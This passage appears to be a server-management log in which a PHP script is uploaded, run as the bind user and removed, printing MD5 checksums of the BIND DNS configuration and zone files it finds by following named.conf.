MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 22:50:05: Establishing a connection
2026-04-23 22:50:05: 

PUT: /tmp/pkp655059

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 22:50:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp655059; rm /tmp/pkp655059'

2026-04-23 22:50:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 22:50:10: Establishing a connection
2026-04-23 22:50:10: 

PUT: /tmp/pkp407545

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
